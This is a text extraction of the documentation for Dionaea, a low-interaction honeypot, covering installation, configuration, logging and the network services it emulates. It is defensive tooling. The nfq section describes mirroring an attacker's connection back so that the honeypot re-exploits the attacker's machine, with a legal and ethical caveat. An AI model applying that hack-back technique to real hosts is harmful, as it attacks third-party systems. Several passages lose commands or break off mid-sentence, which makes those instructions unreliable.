Dionaea Documentation: Release 0.7.0
Dionaea Documentation: Release 0.7.0
Dionaea Documentation: Release 0.7.0
Release 0.7.0
dionaea
1 Introduction 3
1.1 How it works . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2 Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.3 Network Connectivity . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
2 Installation 5
2.1 Basic stuff . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
2.2 Arch Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
2.3 Ubuntu 16.04 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
2.4 Ubuntu 14.04 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
2.5 3rd-party packages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
3 Configuration 9
3.1 dionaea . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
3.2 Logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.3 Modules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
3.4 Processors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
4 Running dionaea 13
5 Integration 15
5.1 DTAG Community Honeypot Project . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
5.2 DionaeaFR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
5.3 DIY with log_json . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
5.4 Modern Honey Network(mhn) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
6 Modules 17
6.1 curl . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
6.2 emu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
6.3 pcap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
6.4 python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
7 Service 19
7.1 Black hole . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
7.2 EPMAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
7.3 FTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
7.4 HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
i
7.5 Memache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
7.6 Mirror . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
7.7 MongoDB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
7.8 MQTT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
7.9 MSSQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
7.10 MySQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
7.11 nfq . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
7.12 PPTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
7.13 SIP (VoIP) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
7.14 SMB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
7.15 TFTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
7.16 UPnP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
8 Logging (ihandler) 33
8.1 emuprofile . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
8.2 fail2ban . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
8.3 ftp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
8.4 hpfeeds . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
8.5 log_db_sql . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
8.6 log_incident . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
8.7 log_json . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
8.8 log_sqlite . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
8.9 nfq . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
8.10 p0f . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
8.11 store . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
8.12 submit_http . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
8.13 submit_http_post . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
8.14 tftp_download . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
8.15 VirusTotal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
9 Processors 41
9.1 Emu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
9.2 Filter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
9.3 Streamdumper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
10 Contributing 43
10.1 Filing bug reports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
10.2 Patches . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
10.3 Review . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
11 Development 45
11.1 Development . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
11.2 Logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
11.3 Incident . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
12 Changelog 49
12.1 0.8.0 - (master) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
12.2 0.7.0 - (2018-05-01) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
12.3 0.6.0 - (2016-11-14) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
12.4 0.5.1 - 2016-09-05 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
12.5 0.5.0 - 2016-08-06 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
12.6 0.4.2 - 2016-07-02 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
12.7 0.4.1 - 2016-06-14 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
12.8 0.4.0 - 2016-05-31 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
12.9 0.3.0 - 2016-03-30 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
ii
12.10 0.2.1 - 2014-07-16 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
12.11 0.2.0 - 2013-11-02 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
12.12 0.1.0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
13 FAQ 55
13.1 Build/Install . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
13.2 Run . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
15 Support 61
15.1 Cui honorem, honorem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
15.2 Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
15.3 Links . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
16 Exploitation 63
16.1 Payloads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
17 Downloads 65
18 Submit 67
19 Configuration - dionaea.conf 69
19.1 logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
19.2 modules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
20 Utils 73
21 Segfault 75
iii
iv
dionaea Documentation, Release 0.7.0
Dionaea is meant to be a nepenthes successor, embedding python as scripting language, using libemu to detect shell-
codes, supporting ipv6 and tls
Content:
Contents 1
dionaea Documentation, Release 0.7.0
2 Contents
CHAPTER 1
Introduction
dionaea intention is to trap malware exploiting vulnerabilities exposed by services offerd to a network, the ultimate
goal is gaining a copy of the malware.
1.2 Security
As Software is likely to have bugs, bugs in software offering network services can be exploitable, and dionaea is
software offering network services, it is likely dionaea has exploitable bugs.
Of course we try to avoid it, but if nobody would fail when trying hard, we would not need software such as dionaea.
So, in order to minimize the impact, dionaea can drop privileges, and chroot.
To be able to run certain actions which require privileges, after dionaea dropped them, dionaea creates a child process
at startup, and asks the child process to run actions which require elevated privileges. This does not guarantee anything,
but it should be harder to get gain root access to the system from an unprivileged user in a chroot environment.
Given the softwares intented use, network io is crucial. All network io is within the main process in a so called non-
blocking manner. To understand nonblocking, imagine you have many pipes infront of you, and these pipes can send
you something, and you can put something into the pipe. If you want to put something into a pipe, while it is crowded,
you’d have to wait, if you want to get something from a pipe, and there is nothing, you’d have to wait too. Doing this
pipe game non-blocking means you won’t wait for the pipes to be write/readable, you’ll get something off the pipes
once data arrives, and write once the pipe is not crowded. If you want to write a large chunk to the pipe, and the pipe
is crowded after a small piece, you note the rest of the chunk you wanted to write, and wait for the pipe to get ready.
DNS resolves are done using libudns, which is a neat non-blocking dns resolving library with support for AAAA
records and chained cnames. So much about non-blocking.
3
dionaea Documentation, Release 0.7.0
dionaea uses libev to get notified once it can act on a socket, read or write.
dionaea can offer services via tcp/udp and tls for IPv4 and IPv6, and can apply rate limiting and accounting limits per
connections to tcp and tls connections - if required.
4 Chapter 1. Introduction
CHAPTER 2
Installation
At the time of writing the best choice to install dionaea on a server is to use Ubuntu 14.04, but below you can find how
to install it (from source) on other distributions/operating systems.
You can download the source code from the release page or by using the git command.
Packages for dionaea are available from the Arch User Repository (AUR). Use a package manager like yaourt that can
handle and install packages from the AUR.
Before you start install the required build tools.
$ yaourt -S base-devel
After the requirements have been installed successfully you can install dionaea. This will checkout the latest sources
from the git repository, run the build process and install the package.
$ yaourt -S dionaea-git
After the installation has been completed you may want to edit the config file /etc/dionaea/dionaea.conf. If everything
looks fine the dionaea service can bee started by using the following command.
5
dionaea Documentation, Release 0.7.0
The log files and everything captured can be found in the directory /var/lib/dionaea/.
After all dependencies have been installed successfully run autreconf to build or rebuild the build scripts.
autoreconf -vi
./configure \
--disable-werror \
--prefix=/opt/dionaea \
--with-python=/usr/bin/python3 \
--with-cython-dir=/usr/bin \
--with-ev-include=/usr/include/ \
--with-ev-lib=/usr/lib \
--with-emu-lib=/usr/lib/libemu \
--with-emu-include=/usr/include \
--with-nl-include=/usr/include/libnl3 \
--with-nl-lib=/usr/lib
Now you should be able to run make to build and run make install to install the honeypot.
6 Chapter 2. Installation
dionaea Documentation, Release 0.7.0
make
sudo make install
Nightly packages are provided in a Personal Package Archive (PPA). Before you start you should update all packages
to get the latest security updates.
$ sudo apt-get update
$ sudo apt-get dist-upgrade
After the required tools have been installed you can add the PPA and update the package cache.
$ sudo add-apt-repository ppa:honeynet/nightly
$ sudo apt-get update
If everything worked without any errors you should be able to install the dionaea package.
$ sudo apt-get install dionaea
After the installation has been completed you may want to edit the config file /etc/dionaea/dionaea.conf. If everything
looks fine the dionaea service can bee started by using the following command.
$ sudo service dionaea start
The log files can be found in the directory /var/log/dionaea/ and everything else captured and logged by the honeypot
can be found in the directory /var/lib/dionaea/.
libnl-dev \
libpcap-dev \
libssl-dev \
libtool \
libudns-dev \
python3 \
python3-dev \
python3-bson \
python3-yaml
After all dependencies have been installed successfully run autreconf to build or rebuild the build scripts.
autoreconf -vi
./configure \
--disable-werror \
--prefix=/opt/dionaea \
--with-python=/usr/bin/python3 \
--with-cython-dir=/usr/bin \
--with-ev-include=/usr/include \
--with-ev-lib=/usr/lib \
--with-emu-lib=/usr/lib/libemu \
--with-emu-include=/usr/include \
--with-nl-include=/usr/include/libnl3 \
--with-nl-lib=/usr/lib
Now you should be able to run make to build and run make install to install the honeypot.
make
sudo make install
The packages below are 3rd party provided, which is appreciated. If you have compiled a package for your own
distribution, just send me the link or make a pull request.
8 Chapter 2. Installation
CHAPTER 3
Configuration
If you want to change the software, it is really important to understand how it works, therefore please take the time
to how it works. dionaea.cfg is the main configuration file. In the example below you can see the default
configuration.
listen.mode=getifaddrs
# listen.addresses=127.0.0.1
# listen.interfaces=eth0,tap0
# Country
# ssl.default.c=GB
# Common Name/domain name
# ssl.default.cn=
# Organization
# ssl.default.o=
# Organizational Unit
# ssl.default.ou=
[logging]
default.filename=@LOCALESTATEDIR@/dionaea/dionaea.log
default.levels=all
default.domains=*
errors.filename=@LOCALESTATEDIR@/dionaea/dionaea-errors.log
errors.levels=warning,error
errors.domains=*
[processor.filter_emu]
name=filter
9
dionaea Documentation, Release 0.7.0
config.allow.0.protocols=smbd,epmapper,nfqmirrord,mssqld
next=emu
[processor.filter_streamdumper]
name=filter
config.allow.0.types=accept
config.allow.1.types=connect
config.allow.1.protocols=ftpctrl
config.deny.0.protocols=ftpdata,ftpdatacon,xmppclient
next=streamdumper
[processor.streamdumper]
name=streamdumper
config.path=@LOCALESTATEDIR@/dionaea/bistreams/%Y-%m-%d/
[processor.emu]
name=emu
config.limits.files=3
#512 * 1024
config.limits.filesize=524288
config.limits.sockets=3
config.limits.sustain=120
config.limits.idle=30
config.limits.listen=30
config.limits.cpu=120
#// 1024 * 1024 * 1024
config.limits.steps=1073741824
[module.nfq]
queue=2
[module.nl]
# set to yes in case you are interested in the mac address of the remote (only works
˓→for lan)
lookup_ethernet_addr=no
[module.python]
imports=dionaea.log,dionaea.services,dionaea.ihandlers
sys_paths=default
service_configs=@SYSCONFDIR@/dionaea/services-enabled/*.yaml
ihandler_configs=@SYSCONFDIR@/dionaea/ihandlers-enabled/*.yaml
[module.pcap]
any.interface=any
3.1 dionaea
download.dir
Global download directory used by some ihandlers.
listen.mode:
There are basically three modes how dionaea can bind the services to IP addresses.
• getifaddrs - auto This will get a list of all IP addresses of all available interfaces and bind the
10 Chapter 3. Configuration
dionaea Documentation, Release 0.7.0
services to each IP. It is also possible to specify a list of interfaces to use by using the listen.
interfaces perameter.
• manual - your decision In this mode you have to specify an additional parameter listen.
addresses. This is a comma separated list of IP addresses dionaea should bind the services
to.
• nl, will require a list of interfaces You have to specify a comma separated list of interfaces names
with the listen.interfaces parameter. If an IP address is added to an interfaces or
removed from an interface dionaea will lunch or stop all services for this IP.
modules
Comma separated list of modules.
processors
Comma separated list of processors.
ssl.default.c
Two letter id of the Country.
ssl.default.cn
The Common Name/domain name of the generated SSL/TLS certificate.
ssl.default.o
The Organization name.
ssl.default.ou
The name of the Organizational Unit.
3.2 Logging
dionaea has a general application log. This logs are ment to be used for debugging and to track errors. It is not
recommended to analyse this files to track attacks.
filename
The filename of the logfile.
levels
Only log messages that match the specified log level get logged to the logfile.
Available log levels:
• debug
• info
• warning
• error
• critical
• all = Special log level including all log levels
Examples:
3.2. Logging 11
dionaea Documentation, Release 0.7.0
Listing 3.2: Log only messages with level warning and error
errors.levels=warning,error
Listing 3.3: Log all log messages but exclude messages with log level debug
errors.levels=all,-debug
domain
Only log messages in a specified domain.
3.3 Modules
Only modules specified by the modules value in the dionaea section are loaded during the start up.
Every module might have its own config section with additional config parameters. The section name consists of the
prefix module and the module name speratated by a dot(.).
See the Modules documentation to find more information on how to configure the modules.
3.4 Processors
The specified processors will be used as an entry point in the processing pipeline. In most cases the initial processor
will be a filter processor <processor/filter>. The next processor in the pipeline is specified by the
next parameter.
See the Processors documentation to find more information on how to configure the processors.
12 Chapter 3. Configuration
CHAPTER 4
Running dionaea
The software has some flags you can provide at startup, the -h flag shows the help, the -H includes the default values.
$ /opt/dionaea/bin/dionaea -H
-c, --config=FILE use FILE as configuration file
Default value/behaviour: /opt/dionaea/etc/dionaea/
˓→ dionaea.cfg
-D, --daemonize run as daemon
-g, --group=GROUP switch to GROUP after startup (use with -u)
Default value/behaviour: keep current group
-G, --garbage=[collect|debug] garbage collect, usefull to debug memory leaks,
does NOT work with valgrind
-h, --help display help
-H, --large-help display help with default values
-l, --log-levels=WHAT which levels to log, valid values
all, debug, info, message, warning, critical, error
combine using ',', exclude with - prefix
-L, --log-domains=WHAT which domains use * and ? wildcards, combine using
˓→ ',',
exclude using -
-u, --user=USER switch to USER after startup
Default value/behaviour: keep current user
-p, --pid-file=FILE write pid to file
-r, --chroot=DIR chroot to DIR after startup
Default value/behaviour: don't chroot
-V, --version show version
-w, --workingdir=DIR set the process' working dir to DIR
Default value/behaviour: /opt/dionaea
examples:
# dionaea -l all,-debug -L '*'
# dionaea -l all,-debug -L 'con*,py*'
# dionaea -u nobody -g nogroup -w /opt/dionaea -p /opt/dionaea/var/run/dionaea.pid
13
dionaea Documentation, Release 0.7.0
Integration
The DTAG Community Honeypot Project has been started in 2010 by a small group of enthusiasts of the Deutsche
Telekom. They are maintaining T-Pot a Multi-Honeypot Platform. It is based on well established honeypots including
dionaea.
• Website: DTAG Community Honeypot Project
• Status: active
5.2 DionaeaFR
DionaeaFR is a web-frontend to display attack information. It uses the SQLite database provided by the log_sqlite
ihandler.
• Website: DionaeaFR
• Status: unmaintained since 2014
You can use the log_json incident handler in combination with an ELK stack to collect, aggregate and visualize attack
information.
• Website: ELK stack
• Status: active
15
dionaea Documentation, Release 0.7.0
A tool to deploy honeypots, collect attack information and display aggregated statistics.
• Website: Modern Honey Network
• Status: active, but deploys an pre 0.2(2014) version of dionaea by default.
16 Chapter 5. Integration
CHAPTER 6
Modules
The subsections name is the name of the module dionaea will try to load, most modules got rather simplistic names,
the pcap module will use libpcap, the curl module libcurl, the emu module libemu . . . The python module is special,
as the python module can load python scripts, which offer services, and each services can have its own options.
List of available modules
6.1 curl
The curl module is used to transfer files from and to servers, it is used to download files via http as well as submitting
files to 3rd parties.
6.2 emu
The emu module is used to detect, profile and - if required - execute shellcode.
6.3 pcap
The pcap module uses the libpcap library to detect rejected connection attempts, so even if we do not accept a connec-
tion, we can use the information somebody wanted to connect there.
6.4 python
The python module allows using the python interpreter in dionaea, and allows controlling some scripts dionaea uses
17
dionaea Documentation, Release 0.7.0
18 Chapter 6. Modules
CHAPTER 7
Service
Network services speak a certain language, this language is called protocol. When we started deploying honeypots,
you could trap worms just by opening a single port, and wait for them to connect and send you an url where you could
download a copy of the worm. The service getting attacked was the backdoor of the bagle mailworm, and it did not
require and interaction. Later on, the exploitations of real services got more complex, and you had to reply something
to the worm to fool him. Nowadays worms use API to access services, before sending their payload. To allow easy
adjustments to the procotol, dionaea implements the protocols in python. There is a glue between the network layer
which is done in the c programming language and the embedded python scripting language, which allows using the
non-blocking connections in python. This has some benefits, for example we can use non-blocking tls connections in
python, and we even get rate limiting on them (if required), where pythons own io does not offer such things. On the
other hand, it is much more comfortable to implement protocols in python than doing the same in c.
List of available services
The black hole module can be used to bind a service to a port. The service does not respond to any submitted data.
But the bistreams can be used to create new modules.
# DNS
- port: 53
19
dionaea Documentation, Release 0.7.0
protocol: udp
- port: 53
protocol: tcp
# NTP
- port: 123
protocol: udp
7.2 EPMAP
7.3 FTP
Dionaea provives a basic ftp server on port 21, it can create directories and upload and download files. From my own
experience there are very little automated attacks on ftp services and I’m yet to see something interesting happening
on port 21.
7.4 HTTP
Dionaea supports http on port 80 as well as https, but there is no code making use of the data gathered on these ports.
For https, the self-signed ssl certificate is created at startup.
7.4.1 Configure
Example configuration:
- name: http
config:
root = "var/dionaea/wwwroot"
default_headers
20 Chapter 7. Service
dionaea Documentation, Release 0.7.0
Default header fields are send if none of the other header patterns match.
global_headers
Global header fields are added to all response headers.
headers
List of header fields to be used in the response header. Only applied if filename_pattern, status_code and
methods match. The first match in the list is used.
max_request_size
Maximum size in kbytes of the request. 32768 = 32MB
root
The root directory so serve files from.
7.4. HTTP 21
dionaea Documentation, Release 0.7.0
- name: http
config:
global_headers:
- ["Server", "nginx"]
- name: http
config:
headers:
- filename_pattern: ".*\\.php"
headers:
- ["Content-Type", "text/html; charset=utf-8"]
- ["Content-Length", "{content_length}"]
- ["Connection", "{connection}"]
- ["X-Powered-By", "PHP/5.5.9-1ubuntu4.5"]
7.5 Memache
7.5.1 Configure
7.6 Mirror
7.7 MongoDB
This module add initial support to emulates a MongoDB server with the dionaea honeypot. At the moment it is very
limited and the functionality might be improved in one of the next releases.
22 Chapter 7. Service
dionaea Documentation, Release 0.7.0
7.7.1 Requirements
7.8 MQTT
7.9 MSSQL
This module implements the Tabular Data Stream protocol which is used by Microsoft SQL Server. It listens to
tcp/1433 and allows clients to login. It can decode queries run on the database, but as there is no database, dionaea
can’t reply, and there is no further action. Typically we always get the same query:
˓→arithabort on
7.10 MySQL
This module implements the MySQL wire stream protocol - backed up by sqlite as database. Please refer to 2011-05-
15 Extending Dionaea <http://carnivore.it/2011/05/15/extending_dionaea> for more information.
7.8. MQTT 23
dionaea Documentation, Release 0.7.0
7.11 nfq
The python nfq script is the counterpart to the nfq module. While the nfq module interacts with the kernel, the nfq
python script takes care of the required steps to start a new service on the ports. nfq can intercept incoming tcp
connections during the tcp handshake giving your honeypot the possibility to provide service on ports which are not
served by default.
As dionaea can not predict which protocol will be spoken on unknown ports, neither implement the protocol by itself,
it will connect the attacking host on the same port, and use the attackers server side protocol implementation to reply
to the client requests of the attacker therefore dionaea can end up re?exploiting the attackers machine, just by sending
him the exploit he sent us.
The technique is a brainchild of Tillmann Werner, who used it within his honeytrap <http://honeytrap.carnivore.it>
honeypot. Legal boundaries to such behaviour may be different in each country, as well as ethical boundaries for each
individual. From a technical point of view it works, and gives good results. Learning from the best, I decided to adopt
this technique for dionaea. Besides the legal and ethical issues with this approach, there are some technical things
which have to be mentioned
port scanning
If your honeypot gets port scanned, it would open a service for each port scanned, in worst case you’d
end up with offering 64k services per ip scanned. By default you’d run out of fds at about 870 services
offerd, and experience weird behaviour. Therefore the impact of port scanning has to be limited. The
kiss approach taken here is a sliding window of throttle.window seconds size. Each slot in this sliding
window represents a second, and we increment this slot for each connection we accept. Before we accept
a connection, we check if the sum of all slots is below throttle.limits.total, else we do not create a new
service. If the sum is below the limit, we check if the current slot is below the slot limit too, if both are
given, we create a new service. If one of the condition fails, we do not spawn a new service, and let
nfqeueu process the packet. There are two ways to process packets which got throttled:
• NF_ACCEPT (=1), which will let the packet pass the kernel, and as there is no service listening,
the packet gets rejected.
• NF_DROP (=0), which will drop the packet in the kernel, the remote does not get any answer to his
SYN.
I prefer NF_DROP, as port scanners such as nmap tend to limit their scanning speed, once they notice
packets get lost.
recursive-self-connecting
Assume some shellcode or download instructions makes dionaea to
24 Chapter 7. Service
dionaea Documentation, Release 0.7.0
Explanation:
1. ACCEPT all connections to existing services
2. enqueue all other packets to the NFQUEUE
If you have dionaea running on your NAT router, I recommend something like:
Explanation:
1. ACCEPT all connections to existing services in mangle::PREROUTING
2. MARK all other packets
3. if we see these marked packets on INPUT, queue them
Using something like:
will enqueue /all/ SYN packets to the NFQUEUE, once you stop dionaea you will not even be able to connect to your
ssh daemon.
Even if you add an exemption for ssh like:
7.11. nfq 25
dionaea Documentation, Release 0.7.0
dionaea will try to create a new service for /every/ incoming connection, even if there is a service running already. As
it is easy to avoid this, I recommend sticking with the recommendation. Besides the already mention throttle settings,
there are various timeouts for the nfq mirror service in the config. You can control how long the service will wait for
new connections (/timeouts.server.listen/), and how long the mirror connection will be idle (/timeouts.client.idle/) and
sustain (/timeouts.client.sustain/).
7.12 PPTP
# DrayTek
# firmware_revision: 1
# hostname: Vigor
# vendor_name: DrayTek
# Linux
# firmware_revision: 1
# hostname: local
# vendor_name: linux
# Windows
# firmware_revision: 0
# hostname:
# vendor_name: Microsoft
# MikroTik router
# firmware_revision: 1
# hostname: MikroTik
# vendor_name: MikroTik
This is a VoIP module for the honeypot dionaea. The VoIP protocol used is SIP since it is the de facto standard for VoIP
today. In contrast to some other VoIP honeypots, this module doesn’t connect to an external VoIP registrar/server. It
simply waits for incoming SIP messages (e.g. OPTIONS or even INVITE), logs all data as honeypot incidents and/or
binary data dumps (RTP traffic), and reacts accordingly, for instance by creating a SIP session including an RTP audio
channel. As sophisticated exploits within the SIP payload are not very common yet, the honeypot module doesn’t pass
any code to dionaea’s code emulation engine. This will be implemented if we spot such malicious messages. The
main features of the VoIP module are:
• Support for most SIP requests (OPTIONS, INVITE, ACK, CANCEL, BYE)
• Support for multiple SIP sessions and RTP audio streams
• Record all RTP data (optional)
26 Chapter 7. Service
dionaea Documentation, Release 0.7.0
7.13.1 Personalities
A personality defines how to handle a request. At least the ‘default’ personality MUST exist. The following options
are available per personality.
serve
A list of IP addresses to use this personality for.
handle
List of SIP methods to handle.
You can easily add, change or remove users by editing the SQLite file specified by the ‘users = “”’ parameter in the
config file. All users are specified in the users table.
username
Specifies the name of the user. This value is treated as regular expression. See Python: Regular Expres-
sions <http://docs.python.org/py3k/library/re.html> for more information.
password
The password.
personality
The user is only available in the personality specified by this value. You can define a personality in the
config file.
pickup_delay_min
This is an integer value. Let the phone ring for at least this number of seconds.
pickup_delay_max
This is an integer value. Maximum number of seconds to wait before dionaea picks up the phone.
action
This value isn’t in use, yet.
sdp
The name of the SDP to use. See table ‘sdp’.
7.13.3 SDP
All SDPs can be defined in the sdp table in the users database.
name
Name of the SDP
sdp
v=0
o=- 1304279835 1 IN {addrtype} {unicast_address}
s=SIP Session
c=IN {addrtype} {unicast_address}
t=0 0
[audio_port]
m=audio {audio_port} RTP/AVP 111 0 8 9 101 120
a=sendrecv
a=rtpmap:111 Speex/16000/1
a=fmtp:111 sr=16000,mode=any
a=rtpmap:0 PCMU/8000/1
a=rtpmap:8 PCMA/8000/1
a=rtpmap:9 G722/8000/1
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-16,32,36
a=rtpmap:120 NSE/8000
a=fmtp:120 192-193
[/audio_port]
[video_port]
m=video {video_port} RTP/AVP 34 96 97
c=IN {addrtype} {unicast_address}
a=rtpmap:34 H263/90000
a=fmtp:34 QCIF=2
a=rtpmap:96 H263-1998/90000
a=fmtp:96 QCIF=2
a=rtpmap:97 H263-N800/90000
[/video_port]
28 Chapter 7. Service
dionaea Documentation, Release 0.7.0
actions:
bank-redirect:
do: "redirect"
params:
play-hello:
do: "play"
params:
file: "var/dionaea/.../file.ext"
7.14 SMB
The main protocol offerd by dionaea is SMB. SMB has a decent history of remote exploitable bugs, and is a very
popular target for worms. dionaeas SMB implementation makes use of an python3 adapted version of scapy. As
scapys own version of SMB was pretty limited, almost everything but the Field declarations had to be rewritten. The
SMB emulation written for dionaea is used by the mwcollectd <http://code.mwcollect.org> low interaction honeypot
too. Besides the known attacks on SMB dionaea supports uploading files to smb shares. Adding new DCE remote
procedure calls is a good start to get into dionaea code, you can use:
SELECT
COUNT(*),
dcerpcrequests.dcerpcrequest_uuid,
7.14. SMB 29
dionaea Documentation, Release 0.7.0
dcerpcservice_name,
dcerpcrequest_opnum
FROM
dcerpcrequests
JOIN dcerpcservices ON(dcerpcrequests.dcerpcrequest_uuid == dcerpcservices.
˓→dcerpcservice_uuid)
˓→dcerpcservice )
WHERE
dcerpcserviceop_name IS NULL
GROUP BY
dcerpcrequests.dcerpcrequest_uuid,dcerpcservice_name,dcerpcrequest_opnum
ORDER BY
COUNT(*) DESC;
to identify potential usefull targets of unknown dcerpc calls using the data you gathered and stored in your logsql
database. Patches are appreciated.
## Generic setting ##
# Additional config
# primary_domain: Test
# oem_domain_name: Test
# server_name: TEST-SERVER
